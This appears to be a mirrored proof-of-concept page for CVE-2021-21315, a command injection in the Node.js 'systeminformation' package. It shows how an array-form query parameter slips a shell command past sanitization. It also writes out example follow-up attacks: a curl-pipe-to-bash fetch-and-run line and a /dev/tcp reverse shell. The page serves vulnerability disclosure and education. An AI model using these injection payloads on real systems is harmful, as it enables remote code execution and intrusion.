目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2021-21315 PoC — Systeminformation 操作系统命令注入漏洞

来源
关联漏洞
标题: Systeminformation 操作系统命令注入漏洞 (CVE-2021-21315)
Description:Systeminformation中存在操作系统命令注入漏洞,该漏洞源于外部输入数据构造操作系统可执行命令过程中,网络系统或产品未正确过滤其中的特殊字符、命令等。攻击者可利用该漏洞执行非法操作系统命令。
Description
CVE 2021-21315 PoC
介绍
# CVE-2021-21315-systeminformation
This is Proof of Concept for [CVE-2021-21315](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21315) which affects The System Information Library for Node.JS (npm package "systeminformation"). [npmjs.com/systeminformation](https://www.npmjs.com/package/systeminformation)

"be sure to check or sanitize service parameters that are passed to si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... do only allow strings, reject any arrays. String sanitation works as expected. "

Because it's not well explained vulnerability (in my opinion), i decided to code small app basing on vulnerable version of systeminformation.
The PoC contains:
1) Test app made in Node.js, using express and vulnerable systeminformation
2) Simple testing payload to create .txt file on affected machine

Steps to reproduce:
1) Run application on Linux server environment
2) Make GET request to site.com/api/getServices?name=nginx (nginx is just example)
![obraz](https://user-images.githubusercontent.com/72838191/109575455-223c8d00-7af2-11eb-92fa-f242d0e74947.png)
3) Now try to send request like this: yoursite.com/api/getServices?name=$(echo -e 'Sekurak' > pwn.txt)
![obraz](https://user-images.githubusercontent.com/72838191/109575807-d3dbbe00-7af2-11eb-8c83-5129e5cdb762.png)

This will fail, because of string sanitization:
![obraz](https://user-images.githubusercontent.com/72838191/109575891-fcfc4e80-7af2-11eb-9b9d-86a5cae803f6.png)

As said in CVE details "sanitization works as expected, reject any arrays [...]"

4) Now try to send request: yoursite.com/api/getServices?name[]=$(echo -e 'Sekurak' > pwn.txt)
![obraz](https://user-images.githubusercontent.com/72838191/109576285-cbd04e00-7af3-11eb-8ac3-2432e23721e6.png)
This time, if you take a look at "name" value, it was not sanitized - success ! Let's see if command was executed

![obraz](https://user-images.githubusercontent.com/72838191/109576497-21a4f600-7af4-11eb-85a1-3610c25edbee.png)

Success! Our command got executed. 
Of course no one cares about "pwn.txt", but potential attacker can:
1) Upload internal files, like index.js (core of our application, with potential api keys, database connection string and others) or other
2) Download and execute scripts - curl -s http://server/path/script.sh | bash /dev/stdin arg1 arg2
3) Reverse shell - bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
4) Kill processes (you can kill our test node application aswell)
5) Even more evil things....

"Command injection" sounds innocent, but it may have huge impact if certain conditions are meet

Problem was fixed in version 5.3.1 of "systeminformation"
Credits to https://www.huntr.dev/users/EffectRenan (He found vulnerability, however in my opinion, his "Poc" did not show real world impact)

Also, do not heist to use this PoC in some CTF's but would be cool if you will credit author of finding - EffectRean and poc creator - me, cheers!

# Disclaimer
This project can only be used for educational purposes. Using this software against target systems without prior permission is illegal, and any damages from misuse of this software will not be the responsibility of the author.
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →